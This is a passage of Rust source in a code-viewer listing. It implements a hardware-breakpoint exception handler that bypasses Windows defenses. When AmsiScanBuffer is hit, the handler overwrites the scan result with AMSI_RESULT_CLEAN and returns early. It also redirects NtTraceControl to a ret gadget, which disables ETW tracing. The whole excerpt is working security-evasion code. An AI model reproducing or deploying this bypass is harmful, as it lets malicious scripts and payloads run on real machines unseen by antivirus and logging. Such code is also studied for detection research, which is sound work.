(exceptions: *mut EXCEPTION_POINTERS)
| 140 | } |
| 141 | |
| 142 | unsafe extern "system" fn exception_handler(exceptions: *mut EXCEPTION_POINTERS) -> LONG { |
| 143 | unsafe { |
| 144 | let context = &mut *(*exceptions).ContextRecord; |
| 145 | let exception_code = (*(*exceptions).ExceptionRecord).ExceptionCode; |
| 146 | let exception_address = (*(*exceptions).ExceptionRecord).ExceptionAddress as usize; |
| 147 | |
| 148 | if exception_code == EXCEPTION_SINGLE_STEP { |
| 149 | if let Some(amsi_address) = AMSI_SCAN_BUFFER_PTR { |
| 150 | if exception_address == amsi_address as usize { |
| 151 | println!("[+] AMSI Bypass invoked at address: {:#X}", exception_address); |
| 152 | let return_address = get_return_address(context); |
| 153 | let scan_result_ptr = get_arg(context, 5) as *mut i32; |
| 154 | *scan_result_ptr = AMSI_RESULT_CLEAN; |
| 155 | |
| 156 | set_ip(context, return_address); |
| 157 | adjust_stack_pointer(context, std::mem::size_of::<*mut u8>() as i32); |
| 158 | set_result(context, S_OK as usize); |
| 159 | |
| 160 | clear_breakpoint(context, 0); |
| 161 | return EXCEPTION_CONTINUE_EXECUTION; |
| 162 | } |
| 163 | } |
| 164 | |
| 165 | if let Some(nt_trace_address) = NT_TRACE_CONTROL_PTR { |
| 166 | if exception_address == nt_trace_address as usize { |
| 167 | println!("[+] NtTraceControl Bypass invoked at address: {:#X}", exception_address); |
| 168 | if let Some(new_rip) = find_gadget(exception_address, b"\xc3", 1, 500) { |
| 169 | context.Rip = new_rip as u64; |
| 170 | } |
| 171 | |
| 172 | clear_breakpoint(context, 1); |
| 173 | return EXCEPTION_CONTINUE_EXECUTION; |
| 174 | } |
| 175 | } |
| 176 | } |
| 177 | |
| 178 | EXCEPTION_CONTINUE_SEARCH |
| 179 | } |
| 180 | } |
| 181 | |
| 182 | fn find_gadget(function: usize, stub: &[u8], size: usize, dist: usize) -> Option<usize> { |
| 183 | for i in 0..dist { |
nothing calls this directly
no test coverage detected